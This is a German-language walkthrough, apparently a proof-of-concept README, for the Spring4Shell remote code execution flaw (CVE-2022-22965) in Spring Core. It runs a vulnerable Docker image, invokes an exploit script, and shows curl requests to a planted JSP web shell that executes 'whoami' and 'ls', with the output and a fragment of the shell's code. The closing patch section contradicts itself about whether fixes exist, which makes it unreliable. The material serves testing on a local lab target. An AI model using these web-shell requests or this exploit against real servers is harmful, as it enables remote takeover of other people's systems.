
Spring4Shell - Spring Core RCE - CVE-2022-22965
Nach Spring Cloud, am 29. März, brach eine weitere schwerwiegende Schwachstelle von Spring im Internet aus: Spring Core RCE
Am 31. März veröffentlichte Spring neue Versionen, die die Schwachstelle beheben. Siehe Abschnitt Patching.
Am 31. März wurde der Schwachstelle schließlich eine CVE-Nummer zugewiesen mit einem CVSS-Score von 9.8 (KRITISCH)
Der Exploit ist sehr einfach zu verwenden, daher der sehr hohe CVSS-Score von 9.8.
Um die Schwachstelle zu testen, führen Sie Folgendes aus.
Starten Sie ein anfälliges Docker-Image von Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Dies bindet das anfällige Spring an die Adresse localhost:8082.
Überprüfen Sie, ob das Image korrekt gestartet ist, mit curl
curl http://localhost:8082
Eine Antwort von ok sollte zurückgegeben werden.
Lassen Sie uns nun das anfällige Image ausnutzen!
python3 exp.py --url http://localhost:8082
Eine Antwort von The vulnerability exists .... sollte zurückgegeben werden.
Sie können die Schwachstelle nun mit curl ausnutzen
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
Der Exploit wurde bisher unter exp.py hochgeladen


Spring hat nun neue Versionen veröffentlicht, die diese CVE beheben. Siehe Springs Ankündigung.
Derzeit hat Spring noch keinen offiziellen Patch veröffentlicht. Es wird empfohlen, die JDK-Version zu reduzieren, als vorübergehende Lösung.